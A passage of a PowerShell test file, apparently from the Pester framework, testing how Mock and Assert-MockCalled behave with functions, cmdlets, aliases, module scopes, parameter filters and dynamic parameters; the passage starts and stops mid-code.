${Uncommon}, [switch] ${Verbose}, [switch] ${Debug}, [System.Management.Automation.ActionPreference] ${ErrorAction}, [System.Management.Automation.ActionPreference] ${WarningAction}, [System.String] ${ErrorVariable}, [System.String] ${WarningVariable}, [System.String] ${OutVariable}, [System.Int32] ${OutBuffer} ){ return "Please strip me of my common parameters. They are far too common." } function PipelineInputFunction { param( [Parameter(ValueFromPipeline=$True)] [int]$PipeInt1, [Parameter(ValueFromPipeline=$True)] [int[]]$PipeInt2, [Parameter(ValueFromPipeline=$True)] [string]$PipeStr, [Parameter(ValueFromPipelineByPropertyName=$True)] [int]$PipeIntProp, [Parameter(ValueFromPipelineByPropertyName=$True)] [int[]]$PipeArrayProp, [Parameter(ValueFromPipelineByPropertyName=$True)] [string]$PipeStringProp ) begin{ $p = 0 } process { foreach($i in $input) { $p += 1 write-output @{ index=$p; val=$i; PipeInt1=$PipeInt1; PipeInt2=$PipeInt2; PipeStr=$PipeStr; PipeIntProp=$PipeIntProp; PipeArrayProp=$PipeArrayProp; PipeStringProp=$PipeStringProp; } } } } Describe "When calling Mock on existing function" { Mock FunctionUnderTest { return "I am the mock test that was passed $param1"} $result = FunctionUnderTest "boundArg" It "Should rename function under test" { $renamed = (Test-Path function:PesterIsMocking_FunctionUnderTest) $renamed | Should Be $true } It "Should Invoke the mocked script" { $result | Should Be "I am the mock test that was passed boundArg" } } Describe "When the caller mocks a command Pester uses internally" { Mock Write-Host { } Context "Context run when Write-Host is mocked" { It "does not make extra calls to the mocked command" { Write-Host 'Some String' Assert-MockCalled 'Write-Host' -Exactly 1 } It "retains the correct mock count after the first test completes" { Assert-MockCalled 'Write-Host' -Exactly 1 } } } Describe "When calling Mock on existing cmdlet" { Mock Get-Process {return "I am not Get-Process"} $result=Get-Process It "Should Invoke the mocked script" { $result | Should Be "I am not Get-Process" } It 'Should not resolve $args to the parent scope' { { $args = 'From', 'Parent', 'Scope'; Get-Process SomeName } | Should Not Throw } } Describe 'When calling Mock on an alias' { $originalPath = $env:path try { # Our TeamCity server has a dir.exe on the system path, and PowerShell v2 apparently finds that instead of the PowerShell alias first. # This annoying bit of code makes sure our test works as intended even when this is the case. $dirExe = Get-Command dir -CommandType Application -ErrorAction SilentlyContinue if ($null -ne $dirExe) { foreach ($app in $dirExe) { $parent = (Split-Path $app.Path -Parent).TrimEnd('\') $pattern = "^$([regex]::Escape($parent))\\?" $env:path = $env:path -split ';' -notmatch $pattern -join ';' } } Mock dir {return 'I am not dir'} $result = dir It 'Should Invoke the mocked script' { $result | Should Be 'I am not dir' } } finally { $env:path = $originalPath } } Describe 'When calling Mock on an alias that refers to a function Pester can''t see' { It 'Mocks the aliased command successfully' { # This function is defined in a non-global scope; code inside the Pester module can't see it directly. function orig {'orig'} New-Alias 'ali' orig ali | Should Be 'orig' { mock ali {'mck'} } | Should Not Throw ali | Should Be 'mck' } } Describe 'When calling Mock on a filter' { Mock FilterUnderTest {return 'I am not FilterUnderTest'} $result = 'Yes I am' | FilterUnderTest It 'Should Invoke the mocked script' { $result | Should Be 'I am not FilterUnderTest' } } Describe 'When calling Mock on an external script' { $ps1File = New-Item 'TestDrive:\tempExternalScript.ps1' -ItemType File -Force $ps1File | Set-Content -Value "'I am tempExternalScript.ps1'" Mock 'TestDrive:\tempExternalScript.ps1' {return 'I am not tempExternalScript.ps1'} <# # Invoking the script using its absolute path is not supported $result = TestDrive:\tempExternalScript.ps1 It 'Should Invoke the absolute-path-qualified mocked script using just the script name' { $result | Should Be 'I am not tempExternalScript.ps1' } $result = & TestDrive:\tempExternalScript.ps1 It 'Should Invoke the absolute-path-qualified mocked script using the command-invocation operator (&)' { $result | Should Be 'I am not tempExternalScript.ps1' } $result = . TestDrive:\tempExternalScript.ps1 It 'Should Invoke the absolute-path-qualified mocked script using dot source notation' { $result | Should Be 'I am not tempExternalScript.ps1' } #> Push-Location TestDrive:\ try { $result = tempExternalScript.ps1 It 'Should Invoke the mocked script using just the script name' { $result | Should Be 'I am not tempExternalScript.ps1' } $result = & tempExternalScript.ps1 It 'Should Invoke the mocked script using the command-invocation operator' { #the command invocation operator is (&). Moved this to comment because it breaks the continuous builds. #there is issue for this on GH $result | Should Be 'I am not tempExternalScript.ps1' } $result = . tempExternalScript.ps1 It 'Should Invoke the mocked script using dot source notation' { $result | Should Be 'I am not tempExternalScript.ps1' } <# # Invoking the script using only its relative path is not supported $result = .\tempExternalScript.ps1 It 'Should Invoke the relative-path-qualified mocked script' { $result | Should Be 'I am not tempExternalScript.ps1' } #> } finally { Pop-Location } Remove-Item $ps1File -Force -ErrorAction SilentlyContinue } Describe 'When calling Mock on an application command' { Mock schtasks.exe {return 'I am not schtasks.exe'} $result = schtasks.exe It 'Should Invoke the mocked script' { $result | Should Be 'I am not schtasks.exe' } } Describe "When calling Mock in the Describe block" { Mock Out-File {return "I am not Out-File"} It "Should mock Out-File successfully" { $outfile = "test" | Out-File "TestDrive:\testfile.txt" $outfile | Should Be "I am not Out-File" } } Describe "When calling Mock on existing cmdlet to handle pipelined input" { Mock Get-ChildItem { if($_ -eq 'a'){ return "AA" } if($_ -eq 'b'){ return "BB" } } $result = '' "a", "b" | Get-ChildItem | % { $result += $_ } It "Should process the pipeline in the mocked script" { $result | Should Be "AABB" } } Describe "When calling Mock on existing cmdlet with Common params" { Mock CommonParamFunction $result=[string](Get-Content function:\CommonParamFunction) It "Should strip verbose" { $result.contains("`${Verbose}") | Should Be $false } It "Should strip Debug" { $result.contains("`${Debug}") | Should Be $false } It "Should strip ErrorAction" { $result.contains("`${ErrorAction}") | Should Be $false } It "Should strip WarningAction" { $result.contains("`${WarningAction}") | Should Be $false } It "Should strip ErrorVariable" { $result.contains("`${ErrorVariable}") | Should Be $false } It "Should strip WarningVariable" { $result.contains("`${WarningVariable}") | Should Be $false } It "Should strip OutVariable" { $result.contains("`${OutVariable}") | Should Be $false } It "Should strip OutBuffer" { $result.contains("`${OutBuffer}") | Should Be $false } It "Should not strip an Uncommon param" { $result.contains("`${Uncommon}") | Should Be $true } } Describe "When calling Mock on non-existing function" { try{ Mock NotFunctionUnderTest {return} } Catch { $result=$_ } It "Should throw correct error" { $result.Exception.Message | Should Be "Could not find command NotFunctionUnderTest" } } Describe 'When calling Mock, StrictMode is enabled, and variables are used in the ParameterFilter' { Set-StrictMode -Version Latest $result = $null $testValue = 'test' try { Mock FunctionUnderTest { 'I am the mock' } -ParameterFilter { $param1 -eq $testValue } } catch { $result = $_ } It 'Does not throw an error when testing the parameter filter' { $result | Should Be $null } It 'Calls the mock properly' { FunctionUnderTest $testValue | Should Be 'I am the mock' } It 'Properly asserts the mock was called when there is a variable in the parameter filter' { Assert-MockCalled FunctionUnderTest -Exactly 1 -ParameterFilter { $param1 -eq $testValue } } } Describe "When calling Mock on existing function without matching bound params" { Mock FunctionUnderTest {return "fake results"} -parameterFilter {$param1 -eq "test"} $result=FunctionUnderTest "badTest" It "Should redirect to real function" { $result | Should Be "I am a real world test" } } Describe "When calling Mock on existing function with matching bound params" { Mock FunctionUnderTest {return "fake results"} -parameterFilter {$param1 -eq "badTest"} $result=FunctionUnderTest "badTest" It "Should return mocked result" { $result | Should Be "fake results" } } Describe "When calling Mock on existing function without matching unbound arguments" { Mock FunctionUnderTestWithoutParams {return "fake results"} -parameterFilter {$param1 -eq "test" -and $args[0] -eq 'notArg0'} $result=FunctionUnderTestWithoutParams -param1 "test" "arg0" It "Should redirect to real function" { $result | Should Be "I am a real world test with no params" } } Describe "When calling Mock on existing function with matching unbound arguments" { Mock FunctionUnderTestWithoutParams {return "fake results"} -parameterFilter {$param1 -eq "badTest" -and $args[0] -eq 'arg0'} $result=FunctionUnderTestWithoutParams "badTest" "arg0" It "Should return mocked result" { $result | Should Be "fake results" } } Describe 'When calling Mock on a function that has no parameters' { function Test-Function { } Mock Test-Function { return $args.Count } It 'Sends the $args variable properly with 2+ elements' { Test-Function 1 2 3 4 5 | Should Be 5 } It 'Sends the $args variable properly with 1 element' { Test-Function 1 | Should Be 1 } It 'Sends the $args variable properly with 0 elements' { Test-Function | Should Be 0 } } Describe "When calling Mock on cmdlet Used by Mock" { Mock Set-Item {return "I am not Set-Item"} Mock Set-Item {return "I am not Set-Item"} $result = Set-Item "mypath" -value "value" It "Should Invoke the mocked script" { $result | Should Be "I am not Set-Item" } } Describe "When calling Mock on More than one command" { Mock Invoke-Command {return "I am not Invoke-Command"} Mock FunctionUnderTest {return "I am the mock test"} $result = Invoke-Command {return "yes I am"} $result2 = FunctionUnderTest It "Should Invoke the mocked script for the first Mock" { $result | Should Be "I am not Invoke-Command" } It "Should Invoke the mocked script for the second Mock" { $result2 | Should Be "I am the mock test" } } Describe 'When calling Mock on a module-internal function.' { New-Module -Name TestModule { function InternalFunction { 'I am the internal function' } function PublicFunction { InternalFunction } function PublicFunctionThatCallsExternalCommand { Start-Sleep 0 } function FuncThatOverwritesExecutionContext { param ($ExecutionContext) InternalFunction } Export-ModuleMember -Function PublicFunction, PublicFunctionThatCallsExternalCommand, FuncThatOverwritesExecutionContext } | Import-Module -Force New-Module -Name TestModule2 { function InternalFunction { 'I am the second module internal function' } function InternalFunction2 { 'I am the second module, second function' } function PublicFunction { InternalFunction } function PublicFunction2 { InternalFunction2 } function FuncThatOverwritesExecutionContext { param ($ExecutionContext) InternalFunction } function ScopeTest { return Get-CallerModuleName } function Get-CallerModuleName { [CmdletBinding()] param ( ) return $PSCmdlet.SessionState.Module.Name } Export-ModuleMember -Function PublicFunction, PublicFunction2, FuncThatOverwritesExecutionContext, ScopeTest } | Import-Module -Force It 'Should fail to call the internal module function' { { TestModule\InternalFunction } | Should Throw } It 'Should call the actual internal module function from the public function' { TestModule\PublicFunction | Should Be 'I am the internal function' } Context 'Using Mock -ModuleName "ModuleName" "CommandName" syntax' { Mock -ModuleName TestModule InternalFunction { 'I am the mock test' } It 'Should call the mocked function' { TestModule\PublicFunction | Should Be 'I am the mock test' } Mock -ModuleName TestModule Start-Sleep { } It 'Should mock calls to external functions from inside the module' { PublicFunctionThatCallsExternalCommand Assert-MockCalled -ModuleName TestModule Start-Sleep -Exactly 1 } Mock -ModuleName TestModule2 InternalFunction -ParameterFilter { $args[0] -eq 'Test' } { "I'm the mock who's been passed parameter Test" } It 'Should only call mocks within the same module' { TestModule2\PublicFunction | Should Be 'I am the second module internal function' } Mock -ModuleName TestModule2 InternalFunction2 { InternalFunction 'Test' } It 'Should call mocks from inside another mock' { TestModule2\PublicFunction2 | Should Be "I'm the mock who's been passed parameter Test" } It 'Should work even if the function is weird and steps on the automatic $ExecutionContext variable.' { TestModule2\FuncThatOverwritesExecutionContext | Should Be 'I am the second module internal function' TestModule\FuncThatOverwritesExecutionContext | Should Be 'I am the mock test' } Mock -ModuleName TestModule2 Get-CallerModuleName -ParameterFilter { $false } It 'Should call the original command from the proper scope if no parameter filters match' { TestModule2\ScopeTest | Should Be 'TestModule2' } Mock -ModuleName TestModule2 Get-Content { } It 'Does not trigger the mocked Get-Content from Pester internals' { Mock -ModuleName TestModule2 Get-CallerModuleName -ParameterFilter { $false } Assert-MockCalled -ModuleName TestModule2 Get-Content -Times 0 -Scope It } } AfterAll { Remove-Module TestModule -Force Remove-Module TestModule2 -Force } } Describe "When Applying multiple Mocks on a single command" { Mock FunctionUnderTest {return "I am the first mock test"} -parameterFilter {$param1 -eq "one"} Mock FunctionUnderTest {return "I am the Second mock test"} -parameterFilter {$param1 -eq "two"} $result = FunctionUnderTest "one" $result2= FunctionUnderTest "two" It "Should Invoke the mocked script for the first Mock" { $result | Should Be "I am the first mock test" } It "Should Invoke the mocked script for the second Mock" { $result2 | Should Be "I am the Second mock test" } } Describe "When Applying multiple Mocks with filters on a single command where both qualify" { Mock FunctionUnderTest {return "I am the first mock test"} -parameterFilter {$param1.Length -gt 0 } Mock FunctionUnderTest {return "I am the Second mock test"} -parameterFilter {$param1 -gt 1 } $result = FunctionUnderTest "one" It "The last Mock should win" { $result | Should Be "I am the Second mock test" } } Describe "When Applying multiple Mocks on a single command where one has no filter" { Mock FunctionUnderTest {return "I am the first mock test"} -parameterFilter {$param1 -eq "one"} Mock FunctionUnderTest {return "I am the paramless mock test"} Mock FunctionUnderTest {return "I am the Second mock test"} -parameterFilter {$param1 -eq "two"} $result = FunctionUnderTest "one" $result2= FunctionUnderTest "three" It "The parameterless mock is evaluated last" { $result | Should Be "I am the first mock test" } It "The parameterless mock will be applied if no other wins" { $result2 | Should Be "I am the paramless mock test" } } Describe "When Creating a Verifiable Mock that is not called" { Context "In the test script's scope" { Mock FunctionUnderTest {return "I am a verifiable test"} -Verifiable -parameterFilter {$param1 -eq "one"} FunctionUnderTest "three" | Out-Null try { Assert-VerifiableMocks } Catch { $result=$_ } It "Should throw" { $result.Exception.Message | Should Be "`r`n Expected FunctionUnderTest to be called with `$param1 -eq `"one`"" } } Context "In a module's scope" { New-Module -Name TestModule -ScriptBlock { function ModuleFunctionUnderTest { return 'I am the function under test in a module' } } | Import-Module -Force Mock -ModuleName TestModule ModuleFunctionUnderTest {return "I am a verifiable test"} -Verifiable -parameterFilter {$param1 -eq "one"} TestModule\ModuleFunctionUnderTest "three" | Out-Null try { Assert-VerifiableMocks } Catch { $result=$_ } It "Should throw" { $result.Exception.Message | Should Be "`r`n Expected ModuleFunctionUnderTest in module TestModule to be called with `$param1 -eq `"one`"" } AfterAll { Remove-Module TestModule -Force } } } Describe "When Creating a Verifiable Mock that is called" { Mock FunctionUnderTest -Verifiable -parameterFilter {$param1 -eq "one"} FunctionUnderTest "one" It "Assert-VerifiableMocks Should not throw" { { Assert-VerifiableMocks } | Should Not Throw } } Describe "When Calling Assert-MockCalled 0 without exactly" { Mock FunctionUnderTest {} FunctionUnderTest "one" try { Assert-MockCalled FunctionUnderTest 0 } Catch { $result=$_ } It "Should throw if mock was called" { $result.Exception.Message | Should Be "Expected FunctionUnderTest to be called 0 times exactly but was called 1 times" } It "Should not throw if mock was not called" { Assert-MockCalled FunctionUnderTest 0 { $param1 -eq "stupid" } } } Describe "When Calling Assert-MockCalled with exactly" { Mock FunctionUnderTest {} FunctionUnderTest "one" FunctionUnderTest "one" try { Assert-MockCalled FunctionUnderTest -exactly 3 } Catch { $result=$_ } It "Should throw if mock was not called the number of times specified" { $result.Exception.Message | Should Be "Expected FunctionUnderTest to be called 3 times exactly but was called 2 times" } It "Should not throw if mock was called the number of times specified" { Assert-MockCalled FunctionUnderTest -exactly 2 { $param1 -eq "one" } } } Describe "When Calling Assert-MockCalled without exactly" { Mock FunctionUnderTest {} FunctionUnderTest "one" FunctionUnderTest "one" FunctionUnderTest "two" It "Should throw if mock was not called at least the number of times specified" { $scriptBlock = { Assert-MockCalled FunctionUnderTest 4 } $scriptBlock | Should Throw "Expected FunctionUnderTest to be called at least 4 times but was called 3 times" } It "Should not throw if mock was called at least the number of times specified" { Assert-MockCalled FunctionUnderTest } It "Should not throw if mock was called at exactly the number of times specified" { Assert-MockCalled FunctionUnderTest 2 { $param1 -eq "one" } } It "Should throw an error if any non-matching calls to the mock are made, and the -ExclusiveFilter parameter is used" { $scriptBlock = { Assert-MockCalled FunctionUnderTest -ExclusiveFilter { $param1 -eq 'one' } } $scriptBlock | Should Throw '1 non-matching calls were made' } } Describe "Using Pester Scopes (Describe,Context,It)" { Mock FunctionUnderTest {return "I am the first mock test"} -parameterFilter {$param1 -eq "one"} Mock FunctionUnderTest {return "I am the paramless mock test"} Context "When in the first context" { It "should mock Describe scoped paramles mock" { FunctionUnderTest | should be "I am the paramless mock test" } It "should mock Describe scoped single param mock" { FunctionUnderTest "one" | should be "I am the first mock test" } } Context "When in the second context" { It "should mock Describe scoped paramles mock again" { FunctionUnderTest | should be "I am the paramless mock test" } It "should mock Describe scoped single param mock again" { FunctionUnderTest "one" | should be "I am the first mock test" } } Context "When using mocks in both scopes" { Mock FunctionUnderTestWithoutParams {return "I am the other function"} It "should mock Describe scoped mock." { FunctionUnderTest | should be "I am the paramless mock test" } It "should mock Context scoped mock." { FunctionUnderTestWithoutParams | should be "I am the other function" } } Context "When context hides a describe mock" { Mock FunctionUnderTest {return "I am the context mock"} Mock FunctionUnderTest {return "I am the parameterized context mock"} -parameterFilter {$param1 -eq "one"} It "should use the context paramles mock" { FunctionUnderTest | should be "I am the context mock" } It "should use the context parameterized mock" { FunctionUnderTest "one" | should be "I am the parameterized context mock" } } Context "When context no longer hides a describe mock" { It "should use the describe mock" { FunctionUnderTest | should be "I am the paramless mock test" } It "should use the describe parameterized mock" { FunctionUnderTest "one" | should be "I am the first mock test" } } Context 'When someone calls Mock from inside an It block' { Mock FunctionUnderTest { return 'I am the context mock' } It 'Sets the mock' { Mock FunctionUnderTest { return 'I am the It mock' } } It 'Leaves the mock active in the parent scope' { FunctionUnderTest | Should Be 'I am the It mock' } } } Describe 'Testing mock history behavior from each scope' { function MockHistoryChecker { } Mock MockHistoryChecker { 'I am the describe mock.' } Context 'Without overriding the mock in lower scopes' { It "Reports that zero calls have been made to in the describe scope" { Assert-MockCalled MockHistoryChecker -Exactly 0 -Scope Describe } It 'Calls the describe mock' { MockHistoryChecker | Should Be 'I am the describe mock.' } It "Reports that zero calls have been made in an It block, after a context-scoped call" { Assert-MockCalled MockHistoryChecker -Exactly 0 -Scope It } It "Reports one Context-scoped call" { Assert-MockCalled MockHistoryChecker -Exactly 1 } It "Reports one Describe-scoped call" { Assert-MockCalled MockHistoryChecker -Exactly 1 -Scope Describe } } Context 'After exiting the previous context' { It 'Reports zero context-scoped calls in the new context.' { Assert-MockCalled MockHistoryChecker -Exactly 0 } It 'Reports one describe-scoped call from the previous context' { Assert-MockCalled MockHistoryChecker -Exactly 1 -Scope Describe } } Context 'While overriding mocks in lower scopes' { Mock MockHistoryChecker { 'I am the context mock.' } It 'Calls the context mock' { MockHistoryChecker | Should Be 'I am the context mock.' } It 'Reports one context-scoped call' { Assert-MockCalled MockHistoryChecker -Exactly 1 } It 'Reports two describe-scoped calls, even when one is an override mock in a lower scope' { Assert-MockCalled MockHistoryChecker -Exactly 2 -Scope Describe } It 'Calls an It-scoped mock' { Mock MockHistoryChecker { 'I am the It mock.' } MockHistoryChecker | Should Be 'I am the It mock.' } It 'Reports 2 context-scoped calls' { Assert-MockCalled MockHistoryChecker -Exactly 2 } It 'Reports 3 describe-scoped calls' { Assert-MockCalled MockHistoryChecker -Exactly 3 -Scope Describe } } It 'Reports 3 describe-scoped calls using the default scope in a Describe block' { Assert-MockCalled MockHistoryChecker -Exactly 3 } } Describe "Using a single no param Describe" { Mock FunctionUnderTest {return "I am the describe mock test"} Context "With a context mocking the same function with no params"{ Mock FunctionUnderTest {return "I am the context mock test"} It "Should use the context mock" { FunctionUnderTest | should be "I am the context mock test" } } } Describe 'Dot Source Test' { # This test is only meaningful if this test file is dot-sourced in the global scope. If it's executed without # dot-sourcing or run by Invoke-Pester, there's no problem. function TestFunction { Test-Path -Path 'Test' } Mock Test-Path { } $null = TestFunction It "Calls the mock with parameter 'Test'" { Assert-MockCalled Test-Path -Exactly 1 -ParameterFilter { $Path -eq 'Test' } } It "Doesn't call the mock with any other parameters" { InModuleScope Pester { $global:calls = $mockTable['||Test-Path'].CallHistory } Assert-MockCalled Test-Path -Exactly 0 -ParameterFilter { $Path -ne 'Test' } } } Describe 'Mocking Cmdlets with dynamic parameters' { $mockWith = { if (-not $CodeSigningCert) { throw 'CodeSigningCert variable not found, or set to false!' } } Mock Get-ChildItem -MockWith $mockWith -ParameterFilter { [bool]$CodeSigningCert } It 'Allows calls to be made with dynamic parameters (including parameter filters)' { { Get-ChildItem -Path Cert:\ -CodeSigningCert } | Should Not Throw Assert-MockCalled Get-ChildItem } } Describe 'Mocking functions with dynamic parameters' { Context 'Dynamicparam block that uses the variables of static parameters in its logic' { # Get-Greeting sample function borrowed and modified from Bartek Bielawski's # blog at http://becomelotr.wordpress.com/2012/05/10/using-and-abusing-dynamic-parameters/ function Get-Greeting { [CmdletBinding()] param ( [string] $Name ) DynamicParam { if ($Name -cmatch '\b[a-z]') { $Attributes = New-Object Management.Automation.ParameterAttribute $Attributes.ParameterSetName = "__AllParameterSets" $Attributes.Mandatory = $false $AttributeCollection = New-Object Collections.ObjectModel.Collection[Attribute] $AttributeCollection.Add($Attributes) $Dynamic = New-Object System.Management.Automation.RuntimeDefinedParameter('Capitalize', [switch], $AttributeCollection) $ParamDictionary = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary $ParamDictionary.Add("Capitalize", $Dynamic) $ParamDictionary } } end { if($PSBoundParameters.Capitalize) { $Name = [regex]::Replace( $Name, '\b\w', { $args[0].Value.ToUpper() } ) } "Welcome $Name!" } } $mockWith = { if (-not $Capitalize) { throw 'Capitalize variable not found, or set to false!' } } Mock Get-Greeting -MockWith $mockWith -ParameterFilter { [bool]$Capitalize } It 'Allows calls to be made with dynamic parameters (including parameter filters)' { { Get-Greeting -Name lowercase -Capitalize } | Should Not Throw Assert-MockCalled Get-Greeting } $Capitalize = $false It 'Sets the dynamic parameter variable properly' { { Get-Greeting -Name lowercase -Capitalize } | Should Not Throw Assert-MockCalled Get-Greeting -Scope It } } Context 'When the mocked command is in a module' { New-Module -Name TestModule { function PublicFunction { Get-Greeting -Name lowercase -Capitalize } $script:DoDynamicParam = $true # Get-Greeting sample function borrowed and modified from Bartek Bielawski's # blog at http://becomelotr.wordpress.com/2012/05/10/using-and-abusing-dynamic-parameters/ function script:Get-Greeting { [CmdletBinding()] param ( [string] $Name ) DynamicParam { # This check is here to make sure the mocked version can still work if the # original function's dynamicparam block relied on script-scope variables. if (-not $script:DoDynamicParam) { return } if ($Name -cmatch '\b[a-z]') { $Attributes = New-Object Management.Automation.ParameterAttribute $Attributes.ParameterSetName = "__AllParameterSets" $Attributes.Mandatory = $false $AttributeCollection = New-Object Collections.ObjectModel.Collection[Attribute] $AttributeCollection.Add($Attributes) $Dynamic = New-Object System.Management.Automation.RuntimeDefinedParameter('Capitalize', [switch], $AttributeCollection) $ParamDictionary = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary $ParamDictionary.Add("Capitalize", $Dynamic) $ParamDictionary } } end { if($PSBoundParameters.Capitalize) { $Name = [regex]::Replace( $Name, '\b\w', { $args[0].Value.ToUpper() } ) } "Welcome $Name!" } } } | Import-Module -Force $mockWith = { if (-not $Capitalize) { throw 'Capitalize variable not found, or set to false!' } } Mock Get-Greeting -MockWith $mockWith -ModuleName TestModule -ParameterFilter { [bool]$Capitalize } It 'Allows calls to be made with dynamic parameters (including parameter filters)' { { TestModule\PublicFunction } | Should Not Throw Assert-MockCalled Get-Greeting -ModuleName TestModule } AfterAll { Remove-Module TestModule -Force } } Context 'When the mocked command has mandatory parameters that are passed in via the pipeline' { # Get-Greeting sample function borrowed and modified from Bartek Bielawski's # blog at http://becomelotr.wordpress.com/2012/05/10/using-and-abusing-dynamic-parameters/ function Get-Greeting2 { [CmdletBinding()] param ( [Parameter(Mandatory = $true, ValueFromPipeline = $true)] [string] $MandatoryParam, [string] $Name ) DynamicParam { if ($Name -cmatch '\b[a-z]') { $Attributes = New-Object Management.Automation.ParameterAttribute $Attributes.ParameterSetName = "__AllParameterSets" $Attributes.Mandatory = $false $AttributeCollection = New-Object Collections.ObjectModel.Collection[Attribute] $AttributeCollection.Add($Attributes) $Dynamic = New-Object System.Management.Automation.RuntimeDefinedParameter('Capitalize', [switch], $AttributeCollection) $ParamDictionary = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary $ParamDictionary.Add("Capitalize", $Dynamic) $ParamDictionary } } end { if($PSBoundParameters.Capitalize) { $Name = [regex]::Replace( $Name, '\b\w', { $args[0].Value.ToUpper() } ) } "Welcome $Name!" } } Mock Get-Greeting2 { 'Mocked' } -ParameterFilter { [bool]$Capitalize } $hash = @{ Result = $null } $scriptBlock = { $hash.Result = 'Mandatory' | Get-Greeting2 -Name test -Capitalize } It 'Should successfully call the mock and generate the dynamic parameters' { $scriptBlock | Should Not Throw $hash.Result | Should Be 'Mocked' } } Context 'When the mocked command has parameter sets that are ambiguous at the time the dynamic param block is executed' { # Get-Greeting sample function borrowed and modified from Bartek Bielawski's # blog at http://becomelotr.wordpress.com/2012/05/10/using-and-abusing-dynamic-parameters/ function Get-Greeting3 { [CmdletBinding()] param ( [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'One')] [string] $One, [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'Two')] [string] $Two, [string] $Name ) DynamicParam { if ($Name -cmatch '\b[a-z]') { $Attributes = New-Object Management.Automation.ParameterAttribute $Attributes.ParameterSetName = "__AllParameterSets" $Attributes.Mandatory = $false $AttributeCollection = New-Object Collections.ObjectModel.Collection[Attribute] $AttributeCollection.Add($Attributes) $Dynamic = New-Object System.Management.Automation.RuntimeDefinedParameter('Capitalize', [switch], $AttributeCollection) $ParamDictionary = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary $ParamDictionary.Add("Capitalize", $Dynamic) $ParamDictionary } } end { if($PSBoundParameters.Capitalize) { $Name = [regex]::Replace( $Name, '\b\w', { $args[0].Value.ToUpper() } ) } "Welcome $Name!" } } Mock Get-Greeting3 { 'Mocked' } -ParameterFilter { [bool]$Capitalize } $hash = @{ Result = $null } $scriptBlock = { $hash.Result = New-Object psobject -Property @{ One = 'One' } | Get-Greeting3 -Name test -Capitalize } It 'Should successfully call the mock and generate the dynamic parameters' { $scriptBlock | Should Not Throw $hash.Result | Should Be 'Mocked' } } Context 'When the mocked command''s dynamicparam block depends on the contents of $PSBoundParameters' { # Get-Greeting sample function borrowed and modified from Bartek Bielawski's # blog at http://becomelotr.wordpress.com/2012/05/10/using-and-abusing-dynamic-parameters/ function Get-Greeting4 { [CmdletBinding()] param ( [string] $Name ) DynamicParam { if ($PSBoundParameters['Name'] -cmatch '\b[a-z]') { $Attributes = New-Object Management.Automation.ParameterAttribute $Attributes.ParameterSetName = "__AllParameterSets" $Attributes.Mandatory = $false $AttributeCollection = New-Object Collections.ObjectModel.Collection[Attribute] $AttributeCollection.Add($Attributes) $Dynamic = New-Object System.Management.Automation.RuntimeDefinedParameter('Capitalize', [switch], $AttributeCollection) $ParamDictionary = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary $ParamDictionary.Add("Capitalize", $Dynamic) $ParamDictionary } } end { if($PSBoundParameters.Capitalize) { $Name = [regex]::Replace( $Name, '\b\w', { $args[0].Value.ToUpper() } ) } "Welcome $Name!" } } Mock Get-Greeting4 { 'Mocked' } -ParameterFilter { [bool]$Capitalize } $hash = @{ Result = $null } $scriptBlock = { $hash.Result = Get-Greeting4 -Name test -Capitalize } It 'Should successfully call the mock and generate the dynamic parameters' { $scriptBlock | Should Not Throw $hash.Result | Should Be 'Mocked' } } Context 'When the mocked command''s dynamicparam block depends on the contents of $PSCmdlet.ParameterSetName' { # Get-Greeting sample function borrowed and modified from Bartek Bielawski's # blog at http://becomelotr.wordpress.com/2012/05/10/using-and-abusing-dynamic-parameters/ function Get-Greeting5 { [CmdletBinding(DefaultParameterSetName = 'One')] param ( [string] $Name, [Parameter(ParameterSetName = 'Two')] [string] $Two ) DynamicParam { if ($PSCmdlet.ParameterSetName -eq 'Two' -and $Name -cmatch '\b[a-z]') { $Attributes = New-Object Management.Automation.ParameterAttribute $Attributes.ParameterSetName = "__AllParameterSets" $Attributes.Mandatory = $false $AttributeCollection = New-Object Collections.ObjectModel.Collection[Attribute] $AttributeCollection.Add($Attributes) $Dynamic = New-Object System.Management.Automation.RuntimeDefinedParameter('Capitalize', [switch], $AttributeCollection) $ParamDictionary = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary $ParamDictionary.Add("Capitalize", $Dynamic) $ParamDictionary } } end { if($PSBoundParameters.Capitalize) { $Name = [regex]::Replace( $Name, '\b\w', { $args[0].Value.ToUpper() } ) } "Welcome $Name!" } } Mock Get-Greeting5 { 'Mocked' } -ParameterFilter { [bool]$Capitalize } $hash = @{ Result = $null } $scriptBlock = { $hash.Result = Get-Greeting5 -Two 'Two' -Name test -Capitalize } It 'Should successfully call the mock and generate the dynamic parameters' { $scriptBlock | Should Not Throw $hash.Result | Should Be 'Mocked' } } } Describe 'Mocking Cmdlets with dynamic parameters in a module' { New-Module -Name TestModule { function PublicFunction { Get-ChildItem -Path Cert:\ -CodeSigningCert } } | Import-Module -Force $mockWith = { if (-not $CodeSigningCert) { throw 'CodeSigningCert variable not found, or set to false!' } } Mock Get-ChildItem -MockWith $mockWith -ModuleName TestModule -ParameterFilter { [bool]$CodeSigningCert } It 'Allows calls to be made with dynamic parameters (including parameter filters)' { { TestModule\PublicFunction } | Should Not Throw Assert-MockCalled Get-ChildItem -ModuleName TestModule } AfterAll { Remove-Module TestModule -Force } } Describe 'DynamicParam blocks in other scopes' { New-Module -Name TestModule1 { $script:DoDynamicParam = $true function DynamicParamFunction { [CmdletBinding()] param ( ) DynamicParam { if ($script:DoDynamicParam) { if ($PSVersionTable.PSVersion.Major -ge 3) { # -Parameters needs to be a PSBoundParametersDictionary object to work properly, due to internal # details of the PS engine in v5. Naturally, this is an internal type and we need to use reflection # to make a new one. $flags = [System.Reflection.BindingFlags]'Instance,NonPublic' $params = $PSBoundParameters.GetType().GetConstructor($flags, $null, @(), $null).Invoke(@()) } else { $params = @{} } $params['Path'] = [string[]]'Cert:\' Get-MockDynamicParameters -CmdletName Get-ChildItem -Parameters $params } } end { 'I am the original function' } } } | Import-Module -Force New-Module -Name TestModule2 { function CallingFunction { DynamicParamFunction -CodeSigningCert } function CallingFunction2 { [CmdletBinding()] param ( [ValidateScript({ [bool](DynamicParamFunction -CodeSigningCert) })] [string] $Whatever ) } } | Import-Module -Force Mock DynamicParamFunction { if ($CodeSigningCert) { 